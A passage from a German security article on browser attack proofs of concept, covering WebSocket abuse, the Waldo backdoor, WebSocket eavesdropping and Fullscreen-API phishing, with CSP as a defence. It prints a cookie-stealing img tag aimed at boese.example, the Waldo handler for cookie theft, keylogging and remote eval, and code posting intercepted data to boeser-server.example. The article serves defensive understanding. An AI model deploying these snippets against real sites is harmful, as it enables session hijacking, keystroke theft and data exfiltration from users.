Die Schwachstellen in und Angriffe auf oder über den Webbrowser wurden hier schon öfter behandelt, zum Beispiel im Windows Developer 3.2014 [1] und 12.2014 [2]. Zu kurz gekommen sind dabei die existierenden Proof of Concepts und Exploits, mit denen sich die Schwachstellen und Angriffe nachvollziehen lassen. Zeit, das zu ändern.

Bisher ging es immer um die unter anderem auf Konferenzen vorgestellten oder „in the Wild“ beobachteten Angriffe und wie Sie diese abwehren können. Dabei blieb das Ganze aber eher theoretisch. Eigentlich reicht es ja auch, wenn Sie wissen, welche Angriffe Sie wie abwehren können (oder besser: müssen). Dabei fallen allerdings die Antworten auf zwei Fragen unter den Tisch: Funktionieren diese Angriffe überhaupt? Und schützen Ihre Schutzmaßnahmen wirklich vor dem Angriff?

Dieser Artikel nähert sich dem Problem „Sicherheit im Webbrowser“ deshalb quasi von der anderen Seite: Welche Proof of Concepts und Exploits gibt es eigentlich für den Webbrowser? Denn nur damit können Sie die Angriffe nachvollziehen und Ihre Schutzmaßnahmen überprüfen.

Das bekannteste Beispiel für Angriffe auf und über den Browser dürfte das Browser Exploitation Framework BeEF [3] sein, von dem Sie vielleicht schon gehört habe. Und das wird auch nicht zu kurz kommen. Aber es gibt auch noch einige andere interessante Demonstrationen von Angriffen.

„WebSockets considered harmful“

Die Same-Origin Policy (SOP) ist bekanntlich der beste und einzige Schutz der Browser vor bösartigem JavaScript-Code: JavaScript-Code darf (von wenigen Ausnahmen abgesehen) immer nur mit dem Server kommunizieren, von dem er geladen wurde. Der beispielsweise über eine XSS-Schwachstelle auf website.­example eingeschleuste bösartige JavaScript-Code kann also nicht einfach den Session-Cookie von website.­example ausspähen und direkt an den Server des Angreifers boese.­example schicken, sondern muss sich dabei einer Krücke bedienen. Am einfachsten ist es, ein Bild von boese.example zu laden und im Request dafür als Parameter den Session-Cookie mitzuschicken. Also zum Beispiel ein Tag wie

<img src="http://boese.example/bild.asp?cookie=[session-cookie]">

zu verwenden. Darüber kann der Angreifer aber nicht interaktiv auf den Code im Browser zugreifen. Und das ist der Moment, in dem die WebSockets ins Spiel kommen. Für diese gilt die SOP nämlich nicht, über WebSockets können Verbindungen zu beliebigen Servern aufgebaut werden [4].

Dass das wirklich so ist, lässt sich schon mit dem Java­Script-basierten Portscanner JS-Recon der Attack and Defense Labs nachprüfen [5], [6]: Dieser baut über die WebSockets Verbindungen zu beliebigen IP-Adressen auf und verstößt damit massiv gegen die SOP (Abb. 1). Denn würde die SOP für die WebSocket-Verbindungen gelten, könnte der Portscanner ja nur seinen eigenen Server erreichen.

Abb. 1: JS-Recon öffnet WebSocket-Verbindungen zu beliebigen Servern im lokalen Netz

Dass sich über eine WebSocket-Verbindung auch der JavaScript-Schadcode im Browser steuern lässt, haben Sergey Shekyan und Vaagn Toukharian auf der Black Hat USA 2012 in ihrem Vortrag „Hacking with WebSockets“ bewiesen [7]. Vorgestellt wurden verschiedene Möglichkeiten, die WebSockets zu missbrauchen. Das Highlight: „Waldo“, ein Proof of Concept, der eine Backdoor implementiert [8]. Waldo besteht aus weniger als 200 Zeilen C++-Code und kommuniziert mit dem ähnlich kurzen JavaScript-Code, der in den Webbrowser des Opfers eingeschleust werden muss.

Damit der JavaScript-Code auch dann aktiv bleibt, wenn der Benutzer weitersurft, wird er nach dem Start in einen versteckten Frame verschoben. Danach öffnet er eine WebSocket-Verbindung zum Waldo-Server und führt entweder vordefinierte Funktionen oder nachgeladenen JavaScript-Code aus (Listing 1).

function recv_from_server(e) {
  var incoming = JSON.parse(e.data); 
  console.log("Server: "+incoming.cmd);
  if (incoming.cmd == "screenshot") {
    send(data_scrn);
  }
  else if (incoming.cmd == "cookies") {
    cookie = getCookie();
    send(cookie);
  }
  else if (incoming.cmd == "html") {
    html = getDom();
    send(html);
  }
  else if (incoming.cmd == "activate klogger") {
    if(window.onkeyup == null) {
      ks = '';
      top._waldo.document.onkeyup=klogger;
      send("klogger activated");
    }
  }
  else if (incoming.cmd == "keystrokes") {
    send(ks);
    ks = '';
  }
  else if (incoming.cmd == "de-activate klogger") {
    window.onkeyup=null;
    ks = '';
    send("klogger de-activated");
  }
  else if (incoming.cmd == "crash") {
    crash();
    send("ready(but may be alreasy dead)");
  }
  else if (incoming.cmd == "dos") {
    DoS(incoming.arg1, incoming.arg2);
    send("DoS launched");
  }
  else if (incoming.cmd == "customjs") {
    eval(incoming.arg1);
    send("executed");
  }
  else {
    send("ready");
  }
}

Einen gewissen Schutz vor bösartigem JavaScript-Code auf der eigenen Seite, der zum Beispiel über eine XSS-Schwachstelle eingeschleust wurde, bietet die Content Security Policy (CSP), [2]. Mit dieser kann unter anderem auch festgelegt werden, mit welchen Servern der Browser über XMLHttpRequests, Web­Sockets und Server-sent Events kommunizieren darf. Ein Exploit wie Waldo würde also auf Websites, die die CSP nutzen und für WebSockets konfigurieren, ins Leere laufen. Selbst wenn der JavaScript-Schadcode ausgeführt wird (was unter Umständen bereits an der CSP scheitern kann), kann er keine WebSocket-Verbindung zum Waldo-Server aufbauen – sofern dieser nicht zu den erlaubten Zielen gehört, was doch ziemlich unwahrscheinlich ist. Es sei denn, der Angreifer hätte einen zulässigen Server kompromittiert und darauf den Waldo-Server installiert. Aber in diesem Fall ist der eingeschleuste JavaScript-Schadcode noch das kleinste Problem.

WebSockets kompromittiert

WebSockets können von einem Angreifer nicht nur selbst bösartig genutzt werden, vorhandene WebSocket-Verbindungen der Webanwendung können von ihm auch ausgespäht werden. Zum Beispiel kann über eine XSS-Schwachstelle eingeschleuster Schadcode alle vom Client aufgebauten WebSocket-Verbindungen ausspähen [9]. Wie, hat Jussi-Pekka Erkkilä mit einem PoC demonstriert [10]: Der bösartige Code überschreibt die Funktionen doSend() und/oder onMessage() mit eigenem Code, der die über WebSockets gesendeten oder empfangenen Daten beispielsweise unterdrücken, manipulieren oder an den Server des Angreifers senden kann. Ein Beispiel sehen Sie in Listing 2, dort werden empfangene Daten an den Server des Angreifers weitergeleitet.

function onMessage(evt) {
  discloseWebsocketData(evt.data);
  // bei Bedarf das tun, was die Webanwendung normalerweise tut, um den Angriff zu verschleiern
  websocket.close();
}     
 
function discloseWebsocketData(data) {
  // empfangene Daten an den Server des Angreifers senden
  var request = new XMLHttpRequest();
  var url = 'http://boeser-server.example/websocket-eavesdrop.php';
  if(request) {
    request.open('POST', url, true);
    request.onreadystatechange = function() {};
    request.send(data);
  }
}

Phishing mit dem Fullscreen-API

Phishing-Angriffe mit dem Fullscreen-API hat Feross Aboukhadijeh demonstriert [11]. Ein Link, der angeblich und augenscheinlich (in der Statuszeile steht der „korrekte“ Link) zur Bank of America führt, öffnet über das Fullscreen-API tatsächlich eine gefälschte Website der Bank (Abb. 2, 3). Während der PoC lediglich einen Screenshot anzeigt, würden echte Phisher natürlich eine funktionsfähige Webseite zum Abphishen von Daten verwenden.

Beim Einsatz des Fullscreen-API gibt es für Phisher einige Einschränkungen: Eine Seite kann nicht selbständig in den Vollbildmodus wechseln, der Wechsel ist nur in Reaktion auf einen Klick oder Tastendruck möglich. Außerdem warnen die Browser den Benutzer beim Wechsel in den Vollbildmodus und/oder bitten ihn um seine Erlaubnis (Abb. 4.) Und auch Tastatureingaben sind nicht mit jedem Browser möglich.

Abb. 2: Die Startseite des Phishing-Angriffs mit Fullscreen-API, alles sieht ganz normal aus

Abb. 3: Phishing-Angriff mit Fullscreen...